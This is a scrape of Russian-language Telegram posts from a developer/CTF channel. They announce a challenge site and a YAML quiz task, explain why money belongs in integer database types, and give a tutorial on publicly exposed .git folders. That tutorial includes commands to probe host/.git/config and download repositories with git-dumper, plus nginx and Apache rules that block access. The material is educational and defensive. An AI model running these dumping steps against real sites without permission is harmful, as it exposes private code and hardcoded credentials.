📖 В недавнем опросе по поводу тем постов и сложности задач, которые периодически публикуются тут в канале, мнения разделились – кому-то нужны полегче, а кому-то посложнее задачи. Но постить все подряд сюда в канал будет неудобно, вся лента только из задач и будет состоять, если публиковать и простые челенджи, а нужно еще оставить место и для основной тематики – заметки про разработку и разборы задач. А также хочется вести общий рейтинг по очкам участников за всю истории, и автоматизировать уведомления про первые три решения, это нужно для определения победителей в задачах с призами. Да и в целом, собрать все в одном месте будет удобнее, чем искать задачи по ленте в телеграм.
📌 Поэтому решено запустить сайт с коллекцией задач. Пока там постоянно будет находиться только такие задачи, которые не требуют отдельных инстансов на сервере и не отнимают много ресурсов. Но в будущем, если будет интерес, то может доработаем площадку.
Сайт уже заработал и там есть шесть задач – две старые, которые уже упоминались в канале и четыре новые. Можно переходить и решать: ссылка.
Две задачки из новых вчера ребята начали уже разбирать – в чате канала был предварительный анонс, а еще две совсем новые, они опубликованы одновременно с этим постом. Еще можно успеть решить первым!
📌 Новые задачи, которые еще не видели в канале:
– OSINT / Поездка: Беларусь
– OSINT / Смертельный интим
– STEGO / Комариный писк
– MISC / Лабиринт
Эти задачки прилично проще, чем те, что решали в канале, поэтому у всех есть возможность решить. Вперед!
❗️ Сайт с задачами: https://ctf.bug-makers.ru
———
#⃣ #CTF #Задачи
🐞 БАГодельня: Канал // Чат // Задачи
📖 В недавнем опросе по поводу тем постов и сложности задач, которые периодически публикуются тут в канале, мнения разделились – кому-то нужны полегче, а кому-то посложнее задачи. Но постить все подряд сюда в канал будет неудобно, вся лента только из задач и будет состоять, если публиковать и простые челенджи, а нужно еще оставить место и для основной тематики – заметки про разработку и разборы задач. А также хочется вести общий рейтинг по очкам участников за всю истории, и автоматизировать уведомления про первые три решения, это нужно для определения победителей в задачах с призами. Да и в целом, собрать все в одном месте будет удобнее, чем искать задачи по ленте в телеграм.
📌 Поэтому решено запустить сайт с коллекцией задач. Пока там постоянно будет находиться только такие задачи, которые не требуют отдельных инстансов на сервере и не отнимают много ресурсов. Но в будущем, если будет интерес, то может доработаем площадку.
Сайт уже заработал и там есть шесть задач – две старые, которые уже упоминались в канале и четыре новые. Можно переходить и решать: ссылка.
Две задачки из новых вчера ребята начали уже разбирать – в чате канала был предварительный анонс, а еще две совсем новые, они опубликованы одновременно с этим постом. Еще можно успеть решить первым!
📌 Новые задачи, которые еще не видели в канале:
– OSINT / Поездка: Беларусь
– OSINT / Смертельный интим
– STEGO / Комариный писк
– MISC / Лабиринт
Эти задачки прилично проще, чем те, что решали в канале, поэтому у всех есть возможность решить. Вперед!
❗️ Сайт с задачами: https://ctf.bug-makers.ru
———
Please open Telegram to view this post
VIEW IN TELEGRAM
10🔥11❤8 6
Как хранить и обрабатывать деньги?
❗️ Быстрый ответ на вопрос. Храните свои деньги в сберегательной кассе. А если это чужие деньги, то лучше их хранить в базе данных в полях с типами
📌 Для наглядности:
Почему так происходит? Числа с плавающей точкой хранятся в двоичной системе исчисления по стандарту IEEE 754. Это не ошибка языка, а следствие того, что числа 0.1 и 0.2 являются бесконечными дробями в двоичной системе, так же как 1/3 (0.33333...) является бесконечной дробью в десятичной системе исчисления. То есть это нормальное поведение чисел и об этом нужно знать при работе с деньгами, иначе такой очень маленький(
📌 На тему поста для демонстрации проблемы опубликована задача: Обменник валют «У Апишечки». В задаче приложен код с ошибкой в типах данных, и если правильно воспользоваться этой проблемой, то можно увеличить свой баланс счета. Попробуйте решить, а если возникнут сложности, то приходите в чат, там можно спросить помощи или подсказку, а также там выходят анонсы новых небольших и простеньких задач, про которые не упоминается в канале.
———
#⃣ #БазаЗнаний #Ошибки
🐞 Канал // Чат // Задачи
❗️ Быстрый ответ на вопрос. Храните свои деньги в сберегательной кассе. А если это чужие деньги, то лучше их хранить в базе данных в полях с типами
INTEGER, BIGINT, NUMERIC или специализированным типом Money, если его поддерживает СУБД. Но никак не в типах с плавающей точкой, это приведет к ошибкам и появлению лишнего или потере существующего баланса. Деньги обязательно должны храниться и обрабатываться только в целочисленных типах данных. А если нужны копейки, то число должно быть умножено на 100, а при необходимости форматированного вывода, достаточно обратно поделить на 100 и вывести целую и дробную части. Иногда можно гранить рубли и копейки в разных полях, но все также в целочисленных типах данных. Аналогично должна происходить и логика обработки в коде, а не только хранение. 📌 Для наглядности:
0.1 + 0.2 !== 0.3 – это условие вернет true. Например, в js 0.1 + 0.2 = 0.30000000000000004. В других языках ситуация такая же. Это небольшая погрешность, но при работе с крупными объемами данных и большим количеством операций над этими значениями, можно получить серьезную проблему. Почему так происходит? Числа с плавающей точкой хранятся в двоичной системе исчисления по стандарту IEEE 754. Это не ошибка языка, а следствие того, что числа 0.1 и 0.2 являются бесконечными дробями в двоичной системе, так же как 1/3 (0.33333...) является бесконечной дробью в десятичной системе исчисления. То есть это нормальное поведение чисел и об этом нужно знать при работе с деньгами, иначе такой очень маленький(
0.00000000000000004) «хвост» может вызвать кучу проблем.📌 На тему поста для демонстрации проблемы опубликована задача: Обменник валют «У Апишечки». В задаче приложен код с ошибкой в типах данных, и если правильно воспользоваться этой проблемой, то можно увеличить свой баланс счета. Попробуйте решить, а если возникнут сложности, то приходите в чат, там можно спросить помощи или подсказку, а также там выходят анонсы новых небольших и простеньких задач, про которые не упоминается в канале.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍6❤5 1
Задача «Тест по YAML»
❗️ Эта задача анонсировалась заранее и будет награждение первой тройки решивших. Призы символические, но так интереснее, чтобы был азарт.
Ссылка на задачу на нашей площадке: задание.
📌 Исходники бекендовой части задачи прикреплены на сайте.
Описание задачи:
Для получения флага, нужно получить 1337 очков в тесте, где представлены 7 вопросов про парсинг YAML-файлов. Ответы проверяются в бекенде, по запросу с фронта.
📌 Заявки принимаются на сайте с задачами, где фиксируется время отправки и валидность флага. Про первые три решения автоматически сообщает бот в нашем чате.
Ответы в зачет принимаются до 12 сентября 12:00 МСК, есть ровно неделя на решение. Далее будет пост с полным разбором этой задачи и объявлением победителей.
Кто первый, тот молодец. Поехали!
❗️ Ссылка на задачу: перейти.
———
#⃣ #Задачи #CTF #Web
🐞 Канал // Чат // Задачи
❗️ Эта задача анонсировалась заранее и будет награждение первой тройки решивших. Призы символические, но так интереснее, чтобы был азарт.
Ссылка на задачу на нашей площадке: задание.
📌 Исходники бекендовой части задачи прикреплены на сайте.
Описание задачи:
Для получения флага, нужно получить 1337 очков в тесте, где представлены 7 вопросов про парсинг YAML-файлов. Ответы проверяются в бекенде, по запросу с фронта.
📌 Заявки принимаются на сайте с задачами, где фиксируется время отправки и валидность флага. Про первые три решения автоматически сообщает бот в нашем чате.
Ответы в зачет принимаются до 12 сентября 12:00 МСК, есть ровно неделя на решение. Далее будет пост с полным разбором этой задачи и объявлением победителей.
Кто первый, тот молодец. Поехали!
❗️ Ссылка на задачу: перейти.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍10🔥3🤔2 2
Файлы .git в публичной папке
📖 Контроль версий кода – удобный инструмент, уже давно без него не представляется ни одна разработка. Я еще немного застал системы контроля версий svn, потом mercurial, а потом и git, который сейчас стал стандартом и, кажется, нет альтернатив. Каждый проект имеет свой git-репозиторий, который зачастую попадает в продакшен или вообще используется для деплоя. Да, не все приложения разворачиваются с докерами, куберами и прочим, очень много реальных и живых проектов все еще используют ci/cd с набором скриптов для автоматического стягивания с репозитория и последующего билда. И есть такие, которые полностью в ручном режиме релизятся. Такие решения даже могут быть оправданы. Но не об этом пост. Это я все к тому, что так или иначе зачастую на продакшене оказывается актуальный репозиторий, а вместе с ним и все его файлы настроек, объектов, логов, хуков и всего остального. Бывает такое, что папка .git попадает на прод и это факт. И встречается это куда чаще, чем отлаженные инфраструктуры с ci/cd и прочими примочками.
📌 То, что папка .git зачастую лежит в продакшене – это реальность. Это не плохо и не хорошо, такую ситуацию диктуют куча разных условий, которые для каждого проекта свои. Но очень плохо и не безопасно то, что .git с завидной регулярностью упускается разработчиками из виду и попадает не просто в продакшен, а в публичную папку. Если не позаботиться о приватности, то весь репозиторий со всеми его ветками и коммитами, можно легко найти и полностью скачать. А имея полный доступ к кодовой базе и истории коммитов, найти уязвимость в проекте становится делом времени. И если еще в коде захардкожены доступы или файлы конфигов находятся под контролем версий, то это совсем уже печально и такая находка сродни получению полного доступа.
📌 Как эксплуатировать
Если .git оказалась в публичной папке, то скорее всего это будет корень проекта. Поэтому самый простой способ обнаружить открытый репозиторий, это «дернуть» файл с конфигурацией, который есть в каждой папке .git, по урлу:
И остается только запустить git-dumper, указав адрес сайта-цели и папку, в которую скачать весь .git:
Готово. А что делать со скаченной папкой .git всем и так понятно — удалить, а о существующей проблеме с безопасностью сообщить владельцу ресурса, откуда выкачали репозиторий.
📌 Как защититься
Чтобы папка не была доступна, ее нужно выносить на уровень выше, чем публичная. Тогда она будет недоступна по http. Но такой подход подразумевает изменение вложенности, если такое сложно и трудозатратно организовать, то можно закрыть доступ на уровне сервера.
Для nginx это делается через конфиг для хоста:
А для веб-сервера Apache нужно добавить правило в
📌 Тренировка:
Для тестирования эксплуатации этой уязвимости запущенна задачка «Старый коммит» на нашей площадке с коллекцией челенджей. А если будут сложности, то приходите в чат, там можно пообщаться и задать вопросы.
———
#⃣ #БазаЗнаний #Web #git
🐞 Канал // Чат // Задачи
📖 Контроль версий кода – удобный инструмент, уже давно без него не представляется ни одна разработка. Я еще немного застал системы контроля версий svn, потом mercurial, а потом и git, который сейчас стал стандартом и, кажется, нет альтернатив. Каждый проект имеет свой git-репозиторий, который зачастую попадает в продакшен или вообще используется для деплоя. Да, не все приложения разворачиваются с докерами, куберами и прочим, очень много реальных и живых проектов все еще используют ci/cd с набором скриптов для автоматического стягивания с репозитория и последующего билда. И есть такие, которые полностью в ручном режиме релизятся. Такие решения даже могут быть оправданы. Но не об этом пост. Это я все к тому, что так или иначе зачастую на продакшене оказывается актуальный репозиторий, а вместе с ним и все его файлы настроек, объектов, логов, хуков и всего остального. Бывает такое, что папка .git попадает на прод и это факт. И встречается это куда чаще, чем отлаженные инфраструктуры с ci/cd и прочими примочками.
📌 То, что папка .git зачастую лежит в продакшене – это реальность. Это не плохо и не хорошо, такую ситуацию диктуют куча разных условий, которые для каждого проекта свои. Но очень плохо и не безопасно то, что .git с завидной регулярностью упускается разработчиками из виду и попадает не просто в продакшен, а в публичную папку. Если не позаботиться о приватности, то весь репозиторий со всеми его ветками и коммитами, можно легко найти и полностью скачать. А имея полный доступ к кодовой базе и истории коммитов, найти уязвимость в проекте становится делом времени. И если еще в коде захардкожены доступы или файлы конфигов находятся под контролем версий, то это совсем уже печально и такая находка сродни получению полного доступа.
📌 Как эксплуатировать
Если .git оказалась в публичной папке, то скорее всего это будет корень проекта. Поэтому самый простой способ обнаружить открытый репозиторий, это «дернуть» файл с конфигурацией, который есть в каждой папке .git, по урлу:
хост/.git/config. Если папка доступна, то получится скачать файл конфигурации. Цель найдена, остается выкачать все файлы. «Руками» такое сделать не реально для больших репозиториев, поэтому нужна автоматизация. Можно написать свой парсер, а можно воспользоваться готовым инструментом git-dumper. Git-dumper работает на python и установить его можно через pip: pip install git-dumper
И остается только запустить git-dumper, указав адрес сайта-цели и папку, в которую скачать весь .git:
git-dumper http://хост.com ./folder
Готово. А что делать со скаченной папкой .git всем и так понятно — удалить, а о существующей проблеме с безопасностью сообщить владельцу ресурса, откуда выкачали репозиторий.
📌 Как защититься
Чтобы папка не была доступна, ее нужно выносить на уровень выше, чем публичная. Тогда она будет недоступна по http. Но такой подход подразумевает изменение вложенности, если такое сложно и трудозатратно организовать, то можно закрыть доступ на уровне сервера.
Для nginx это делается через конфиг для хоста:
location ~ /\.git {
deny all;
}А для веб-сервера Apache нужно добавить правило в
.htaccess:<DirectoryMatch "/\.git">
Order allow,deny
Deny from all
</DirectoryMatch>
📌 Тренировка:
Для тестирования эксплуатации этой уязвимости запущенна задачка «Старый коммит» на нашей площадке с коллекцией челенджей. А если будут сложности, то приходите в чат, там можно пообщаться и задать вопросы.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6❤5🔥3